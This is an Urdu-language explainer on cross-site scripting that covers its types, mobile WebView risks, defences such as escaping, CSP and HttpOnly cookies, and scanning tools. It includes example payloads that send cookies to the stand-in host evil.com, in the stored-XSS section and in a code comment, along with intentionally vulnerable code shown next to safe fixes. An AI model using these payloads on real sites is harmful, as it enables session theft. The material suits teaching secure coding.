XSS — یہ کیا ہے، حملوں کی اقسام اور تحفظ کے طریقے

XSS کیا ہے؟

XSS (Cross-Site Scripting) ایک خطرہ ہے جو حملہ آور کو ویب صفحہ میں JavaScript کوڈ داخل کرنے کی اجازت دیتا ہے، جو پھر متاثرہ کے براؤزر میں چلتا ہے۔ براؤزر ایک قابل اعتماد ویب سائٹ سے صفحہ لوڈ کرتا ہے اور داخل کردہ اسکرپٹ کو سائٹ کے جائز کوڈ کی طرح同等ہ مراعات کے ساتھ چلاتا ہے۔ یہ حملہ آور کو کوکیز، سیشن اسٹوریج، صفحہ کے DOM ٹری تک رسائی اور متاثرہ کی طرف سے درخواستیں بھیجنے کی صلاحیت دیتا ہے۔ XSS خطرات اس وقت پیدا ہوتے ہیں جب کوئی ایپلیکیشن مناسب escape یا تصدیق کے بغیر صارف کے ڈیٹا کو HTML صفحہ میں داخل کرتی ہے۔

XSS کی تاریخ اور اہمیت

Cross-Site Scripting کی اصطلاح پہلی بار 2000 میں Microsoft سیکیورٹی بلیٹن میں ظاہر ہوئی۔ پچھلے 25 سالوں میں، XSS نے اپنی اہمیت نہیں کھوئی: HackerOne (2025) کے مطابق، XSS پلیٹ فارم پر رجسٹرڈ تمام خطرات کا تقریباً 22% ہے۔ XSS کے برقرار رہنے کی وجہ صارف کے ڈیٹا کے تمام داخلی مقامات کو کنٹرول کرنے کی مشکل ہے۔ کوئی بھی ان پٹ فیلڈ، URL پیرامیٹر، HTTP درخواست ہیڈر یا فائل نام حملے کا ویکٹر بن سکتا ہے اگر ڈیٹا پروسیسنگ کے بغیر HTML کوڈ میں منعکس ہو۔

XSS کیا نقصان پہنچاتا ہے؟

XSS حملے سیشن کوکیز کی چوری کا باعث بن سکتے ہیں، جس سے حملہ آور بغیر پاس ورڈ کے متاثرہ کے اکاؤنٹ میں لاگ ان کر سکتا ہے۔ دیگر نتائج میں شامل ہیں: فشنگ سائٹس پر ری ڈائریکٹ، صفحہ کے مواد میں تبدیلی، ذاتی ڈیٹا کی چوری اور میلویئر انسٹالیشن (drive-by download)۔ 2023 میں، Salesforce Community Cloud پلیٹ فارم پر XSS حملے نے ہزاروں انٹرپرائز کلائنٹس کے ڈیٹا کو متاثر کیا، جس سے ظاہر ہوا کہ بڑے پلیٹ فارم بھی اس خطرے سے محفوظ نہیں ہیں۔

XSS حملوں کی اقسام

XSS کی درجہ بندی حملوں کو نقصان دہ کوڈ کی ترسیل کے طریقہ کار کی بنیاد پر تین اہم اقسام میں تقسیم کرتی ہے۔ ہر قسم کو تحفظ کے لیے مختلف نقطہ نظر کی ضرورت ہوتی ہے: Stored XSS کو ڈیٹا بیس سے آؤٹ پٹ escape کرکے، Reflected کو URL پیرامیٹرز escape کرکے، DOM-based کو DOM API کے ساتھ محفوظ طریقے سے کام کرکے روکا جاتا ہے۔ فرق کو سمجھنا ایک موثر سیکیورٹی حکمت عملی کی بنیاد ہے۔

Stored XSS (مستقل)

XSS کی سب سے خطرناک قسم۔ حملہ آور ایسے ڈیٹا میں اسکرپٹ داخل کرتا ہے جسے سرور ڈیٹا بیس میں محفوظ کرتا ہے اور ہر صفحہ لوڈ ہونے پر دکھاتا ہے۔ ایک عام ویکٹر تبصرہ فیلڈ ہے: حملہ آور <script>document.location='https://evil.com/?c='+document.cookie</script> والا تبصرہ پوسٹ کرتا ہے۔ اس تبصرے والا صفحہ لوڈ کرنے والا ہر صارف اپنی کوکیز حملہ آور کو بھیجتا ہے۔ Stored XSS کو متاثرہ سے صفحہ دیکھنے کے علاوہ کسی کارروائی کی ضرورت نہیں ہوتی — جو اسے سوشل نیٹ ورکس، فورمز اور بلاگز کے لیے خاص طور پر خطرناک بناتا ہے۔

Reflected XSS (منعکس)

نقصان دہ اسکرپٹ HTTP درخواست میں (عام طور پر URL پیرامیٹر میں) منتقل ہوتا ہے اور سرور فوری طور پر جواب میں اسے منعکس کرتا ہے۔ حملہ آور https://example.com/search?q=<script>...</script> جیسا لنک بناتا ہے اور اسے فشنگ، سوشل نیٹ ورکس یا ای میل کے ذریعے تقسیم کرتا ہے۔ لنک پر کلک کرنے والا متاثرہ ایک ایسا صفحہ حاصل کرتا ہے جہاں داخل کردہ تلاش کی استفسار (اسکرپٹ) بغیر escape کے دکھائی جاتی ہے۔ Reflected XSS کے لیے سماجی انجینئرنگ کی ضرورت ہوتی ہے — متاثرہ کو لنک پر کلک کرنا ہوتا ہے، جو خطرہ کم کرتا ہے لیکن ختم نہیں کرتا۔

DOM-based XSS

Stored اور Reflected کے برعکس، DOM-based XSS کو سرور کو ڈیٹا بھیجنے کی ضرورت نہیں ہوتی۔ خطرہ اس وقت پیدا ہوتا ہے جب کلائنٹ سائیڈ JavaScript محفوظ پروسیسنگ کے بغیر URL، document.referrer، postMessage یا localStorage سے صارف کے ڈیٹا کو DOM میں داخل کرتا ہے۔ مثال کے طور پر، document.getElementById('output').innerHTML = location.hash.substring(1) جیسا کوڈ URL ٹکڑے (#<img onerror='...'>) سے کسی بھی HTML اور اسکرپٹ کو چلاتا ہے۔ DOM-based XSS کا پتہ لگانا سب سے مشکل ہے کیونکہ سرور کبھی بھی نقصان دہ پے لوڈ حاصل نہیں کرتا — یہ مکمل طور پر کلائنٹ پر پروسیس ہوتا ہے۔

// DOM-based XSS کی مثال (کمزور کوڈ)
// اگر userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — خطرناک: خام HTML داخل کرتا ہے
document.write('<div>' + userInput + '</div>');

// محفوظ متبادل — textContent استعمال کریں
document.getElementById('output').textContent = userInput;

XSS حملہ کیسے کام کرتا ہے؟

XSS ویب کی ایک بنیادی خاصیت کا استحصال کرتا ہے: براؤزر کسی قابل اعتماد ڈومین سے موصولہ JavaScript چلاتا ہے۔ اگر حملہ آور سرور کے HTML جواب میں اپنا کوڈ داخل کرنے کا کوئی طریقہ ڈھونڈ لیتا ہے، تو براؤزر اسے جائز کوڈ کی اسی مراعات کے ساتھ چلاتا ہے۔ حملہ تین مراحل سے گزرتا ہے: مواد میں نقصان دہ کوڈ کا انجیکشن، متاثرہ کے براؤزر میں مواد کی ترسیل، اور DOM، کوکیز اور اسٹوریج تک رسائی کے ساتھ کوڈ پر عملدرآمد۔

انجیکشن کا مرحلہ

حملہ آور ایک داخلی مقام ڈھونڈتا ہے — ایک فیلڈ، URL پیرامیٹر یا ہیڈر جس کی قدر سرور بغیر escape کے HTML جواب میں شامل کرتا ہے۔ عام داخلی مقامات میں شامل ہیں: تلاش کی بار، تبصرہ فیلڈ، صارف نام، اوتار URL، کوکیز، HTTP ہیڈر (User-Agent، Referer)۔ جدید فریم ورک (React، Angular، Vue) خود بخود آؤٹ پٹ escape کرتے ہیں، لیکن ڈویلپر dangerousSetInnerHTML، bypassSecurityTrustHtml یا v-html کے ذریعے escape کو غیر فعال کر سکتے ہیں۔

ترسیل کا مرحلہ

Reflected XSS کے لیے، حملہ آور نقصان دہ لنک تقسیم کرتا ہے۔ Stored XSS کے لیے، ہدف سائٹ پر مواد شائع کرنا کافی ہے، اور صفحہ کا ہر دیکھنے والا متاثرہ بن جاتا ہے۔ DOM-based XSS کسی مخصوص URL ٹکڑے کے ساتھ صفحہ لوڈ ہونے پر فعال ہوتا ہے۔ تینوں مراحل خودکار ہو سکتے ہیں: اگر اشتہاری بینر (تیسرے فریق کے مواد) میں XSS دریافت ہوتا ہے، تو بینر ہٹائے جانے تک حملہ سائٹ کے تمام صارفین کو متاثر کرے گا۔

// تلاش میں Reflected XSS کی مثال (کمزور بیک اینڈ)
// پیرامیٹر q کو escape کرنے کے بجائے، سرور اسے HTML میں ڈالتا ہے

// Express.js — کمزور ہینڈلر:
app.get('/search', (req, res) => {
    const query = req.query.q; // صارف کا ان پٹ
    res.send(`<h1>Results for: ${query}</h1>`);
});

// محفوظ ورژن — encodeURI یا ٹیمپلیٹ انجن کے ذریعے escape:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

موبائل ایپلیکیشنز میں XSS

موبائل ایپلیکیشنز بھی XSS حملوں کے لیے حساس ہیں، اگرچہ ویب سائٹس کے مقابلے میں کم حد تک۔ بنیادی ویکٹر WebView اور ہائبرڈ فریم ورک (Cordova، Capacitor، React Native with WebView) ہیں۔ اگر ایپ WebView میں ویب مواد لوڈ کرتی ہے — خاص طور پر صارف کا مواد (HTML ای میل، مضامین، پیغامات) — تو XSS خطرہ JavaScript برج کے ذریعے مقامی افعال تک رسائی کے ساتھ ایپ کے اندر JavaScript پر عملدرآمد کا باعث بن سکتا ہے۔

Android WebView میں XSS

Android WebView ڈیفالٹ طور پر JavaScript چلاتا ہے۔ اگر ایپ loadDataWithBaseURL() کے ذریعے HTML سٹرنگ لوڈ کرتی ہے یا صارف کا مواد دکھاتی ہے، تو XSS حملہ حملہ آور کو JavaScript انٹرفیس (addJavascriptInterface) تک رسائی دے سکتا ہے۔ Google نے API < 17 کے لیے @JavascriptInterface کے استعمال پر پابندی لگا دی ہے، لیکن پرانی ایپس میں لیگیسی کوڈ اب بھی موجود ہے۔ تحفظ: اگر ضرورت نہ ہو تو WebView میں JavaScript غیر فعال کریں اور محفوظ براؤزنگ استعمال کریں۔

React Native اور Flutter میں XSS

React Native UI کے لیے WebView استعمال نہیں کرتا — اجزاء مقامی ویوز میں رینڈر ہوتے ہیں۔ تاہم، react-native-webview یا رچ ٹیکسٹ اجزاء کے ذریعے HTML دکھاتے وقت، XSS خطرہ واپس آ جاتا ہے۔ Flutter اپنا خود کا رینڈرنگ انجن (Skia) استعمال کرتا ہے اور HTML ویجٹ میں JavaScript کو سپورٹ نہیں کرتا (flutter_html اسکرپٹ ٹیگز نہیں چلاتا)، لیکن WebView پلگ ان (webview_flutter) مقامی WebView کی طرح حساس ہیں۔ بہترین عمل — ناقابل بھروسہ HTML کو کبھی WebView میں منتقل نہ کریں۔

• WebView میں JavaScript غیر فعال کریں اگر مواد کو انٹرایکٹیویٹی کی ضرورت نہ ہو
• CSP ہیڈر استعمال کریں WebView میں اسکرپٹ ذرائع کو محدود کرنے کے لیے
• HTML صاف کریں WebView میں لوڈ کرنے سے پہلے: اسکرپٹ ٹیگز اور ایونٹ ہینڈلر ہٹائیں
• Android میں addJavascriptInterface استعمال نہ کریں آنے والے ڈیٹا کی سخت تصدیق کے بغیر

// Android میں محفوظ WebView ترتیب
val webView = findViewById<WebView>(R.id.webview)

// اگر انٹرایکٹیویٹی کی ضرورت نہ ہو تو JavaScript غیر فعال کریں
webView.settings.javaScriptEnabled = false

// لوڈ کرنے سے پہلے HTML صاف کریں
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS سے بچاؤ کے طریقے

XSS سے تحفظ تین اصولوں پر مبنی ہے: صارف کے ان پٹ پر بھروسہ نہ کریں، آؤٹ پٹ سے پہلے escape کریں، Content Security Policy استعمال کریں۔ آؤٹ پٹ انکوڈنگ سب سے اہم طریقہ ہے: صارف سے موصول تمام ڈیٹا کو HTML، JavaScript، CSS یا URL میں ڈالنے سے پہلے escape کیا جانا چاہیے۔ جدید ٹیمپلیٹ انجن (Twig، Handlebars، JSX، Blade) خود بخود یہ کرتے ہیں جب تک کہ ڈویلپر خصوصی طریقوں سے escape کو غیر فعال نہ کرے۔

سیاقی escape

escape ڈیٹا ڈالنے کے سیاق و سباق پر منحصر ہے۔ HTML سیاق میں، <، >، & اور اقتباس کے نشانات escape کیے جاتے ہیں۔ JavaScript سیاق میں، بیکٹک، اور </script> escape کیے جاتے ہیں۔ CSS سیاق میں — کنٹرول حروف۔ URL سیاق میں — URL انکوڈنگ۔ سیاق کی غلطی — مثال کے طور پر، HTML کے لیے escape کی گئی سٹرنگ کو onclick وصف میں ڈالنا — XSS سے نہیں بچاتا کیونکہ onclick JavaScript سیاق میں چلتا ہے جہاں مختلف escape کی ضرورت ہوتی ہے۔

Content Security Policy (CSP)

CSP ایک HTTP ہیڈر ہے جو ان ذرائع کو محدود کرتا ہے جہاں سے براؤزر اسکرپٹ، اسٹائل اور دیگر وسائل لوڈ کر سکتا ہے۔ سخت CSP (unsafe-inline کے بغیر، unsafe-eval کے بغیر) کسی بھی ان لائن اسکرپٹ کے نفاذ کو روکتا ہے، بشمول XSS ویکٹر۔ Google Security Blog (2025) کے مطابق، CSP والی سائٹیں 95% XSS حملوں کو روکتی ہیں۔ مثال: Content-Security-Policy: default-src 'self'; script-src 'self' کسی بھی بیرونی اور ان لائن اسکرپٹ کو منع کرتا ہے۔ CSP Stored XSS سے نہیں بچاتا اگر اسکرپٹ اسی ڈومین سے لوڈ ہو، لیکن اس کے لیے حملہ آور کو اضافی کوشش کرنی پڑتی ہے۔

HttpOnly اور Secure کوکیز

کوکیز کے لیے HttpOnly پرچم سیٹ کرنا JavaScript (document.cookie) کے ذریعے ان تک رسائی کو روکتا ہے، جو XSS کے ذریعے سیشن کوکی چوری کو روکتا ہے۔ Secure پرچم اس بات کو یقینی بناتا ہے کہ کوکی صرف HTTPS پر منتقل ہو۔ HttpOnly + Secure + SameSite=Lax کا مجموعہ XSS کے ذریعے سیشن کوکی چوری کو عملی طور پر ناممکن بنا دیتا ہے۔ تاہم، XSS پھر بھی صارف کی طرف سے کارروائیاں کر سکتا ہے (مثلاً درخواستیں بھیجنا)، لہذا HttpOnly کوئی علاج نہیں بلکہ جامع دفاع کا حصہ ہے۔

XSS کا پتہ لگانے کے اوزار

باقاعدہ XSS جانچ محفوظ ترقی CI/CD پائپ لائن کا ایک لازمی حصہ ہے۔ خودکار اسکینرز 80% تک XSS خطرات ڈھونڈ لیتے ہیں؛ باقی کے لیے دستی دخول جانچ کی ضرورت ہوتی ہے۔ بہترین طریقہ SAST (جامد) تجزیہ، DAST (متحرک) اسکیننگ اور صارف ڈیٹا کے داخلی مقامات پر توجہ کے ساتھ کوڈ جائزہ کا مجموعہ ہے۔

• OWASP ZAP — مفت DAST اسکینر، ویب ایپلیکیشنز میں خود بخود XSS ڈھونڈتا ہے
• Burp Suite Professional — XSS کے لیے Active Scan اور Intruder کے ساتھ جدید ٹول
• XSStrike — پے لوڈ جنریشن کے ساتھ خصوصی XSS اسکینر
• ESLint-plugin-security — خطرناک پیٹرن کے لیے React/JSX کا جامد تجزیہ
• Google Observatory — CSP ہیڈرز اور XSS سے متعلق ترتیبات کی جانچ کرتا ہے

موبائل ایپلیکیشنز کے لیے، XSS جانچ میں WebView تجزیہ شامل ہے: JavaScript انٹرفیس کی جانچ، URL اسکیم ہینڈلنگ اور loadDataWithBaseURL میں HTML منتقل کرنا۔ ہائبرڈ ایپلیکیشنز میں postMessage ہینڈلنگ کی جانچ کرنے اور JavaScript برج کے ذریعے کون سا ڈیٹا منتقل ہوتا ہے اس کی تصدیق کرنے کی بھی سفارش کی جاتی ہے۔ موبائل ایپ ٹریفک کو روکنے اور تبدیل کرنے کے لیے پراکسی (Burp Suite) کے ساتھ ایمولیٹر استعمال کریں۔